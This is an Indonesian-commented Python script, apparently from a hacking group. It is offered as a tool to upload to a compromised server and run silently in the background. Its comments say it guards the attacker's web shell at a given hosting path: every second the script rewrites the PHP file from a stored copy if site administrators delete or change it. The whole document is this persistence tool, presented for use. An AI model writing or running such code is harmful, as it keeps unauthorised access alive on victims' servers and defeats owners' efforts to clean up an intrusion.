import time
import os

# script ini di buat untuk melakukan file locking server
# script ini di buat oleh nowmeee [ eclipse security labs team ]

# upload file ini ke server dan jalankan dengan perintah di bawah pada terminal server
# nohup python3 namafile.py > /dev/null 2>&1 &

eclipsec = {
    "paths": ["/home/kaho86le/public_html/ggbxjl.php"], # path shell lu di sini
    "backup": """
<?php
function get($url) {trim();}
?>
"""
}
def kembaliin(path, backup):
    if not os.path.exists(path):
        with open(path, 'w') as f:
            f.write(backup)
        print(f"File {path} dipulihkan (file hilang).")
    else:
        with open(path, 'r') as f:
            current_content = f.read()
        if current_content != backup:
            with open(path, 'w') as f:
                f.write(backup)
            print(f"Konten file {path} dipulihkan (konten berubah).")
while True:
    for path in eclipsec["paths"]:
        kembaliin(path, eclipsec["backup"])
    time.sleep(1)
